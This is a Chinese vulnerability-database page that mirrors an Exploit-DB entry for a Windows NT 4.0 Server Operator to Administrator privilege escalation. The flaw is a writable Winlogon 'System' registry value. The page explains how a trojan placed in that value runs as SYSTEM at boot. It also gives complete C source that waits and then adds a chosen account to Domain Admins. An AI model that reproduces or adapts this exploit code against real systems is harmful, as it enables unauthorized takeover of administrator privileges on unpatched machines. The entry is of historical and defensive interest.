Microsoft Windows NT 4.0/4.0 SP1/4.0 SP2/4.0 SP3/4.0 SP4 – Server Operator to Administrator Privilege Escalation: System Key

Microsoft Windows NT 4.0/4.0 SP1/4.0 SP2/4.0 SP3/4.0 SP4 – Server Operator to Administrator Privilege Escalation: System Key

漏洞ID 1053382 漏洞类型
发布时间 1999-01-11 更新时间 1999-01-11
图片[1]-Microsoft Windows NT 4.0/4.0 SP1/4.0 SP2/4.0 SP3/4.0 SP4 – Server Operator to Administrator Privilege Escalation: System Key-安全小百科CVE编号 N/A
图片[2]-Microsoft Windows NT 4.0/4.0 SP1/4.0 SP2/4.0 SP3/4.0 SP4 – Server Operator to Administrator Privilege Escalation: System Key-安全小百科CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/19145
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/182/info

The default ACL over the HKEY_Local_MachineSoftwareMicrosoftWindows NTCurrentVersionWinlogon key "System" value includes an entry for Server Operators:Special. The Special setting allows Server Ops to "Set" this value. A malicious System Operator could place reference to a trojan in this entry. This trojan would be executed under system privileges the next time the system is booted. As the trojan has been called by the system, the system account has privileges to execute code that would elevate the permission of a selected account to "administrator".

Due to the command parsing in this registry key, it is not possible to execute anything "interactive" (ie User Manager, Server Manager), anything with command line arguments, or anything that attempts to interact with the LSASS immediately after logon. Sample code has been posted in the exploit section that will perform privilege escalation without any of the above limitations. 

/* GetadmforSops.exe - David Litchfield 11 Jan 1999 */
/* Compile with eg Visual C++ and link with netapi32.lib */

#define UNICODE
#include <windows.h>
#include <wchar.h>
#include <lmaccess.h>
#include <winbase.h>

int __cdecl wmain (void)
{
LPWSTR group = L"Domain Admins";
LPWSTR acc = L"acc_name";

NET_API_STATUS nas=0;

_sleep(180000);
if( (nas=NetGroupAddUser(NULL, group, acc)) == 0)
{
wprintf(L"Success");
return 0;
}
return 0;
}

相关推荐: Windows NT文件记录漏洞

Windows NT文件记录漏洞 漏洞ID 1207585 漏洞类型 未知 发布时间 1997-01-01 更新时间 1997-01-01 CVE编号 CVE-1999-0576 CNNVD-ID CNNVD-199701-032 漏洞平台 N/A CVSS评…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享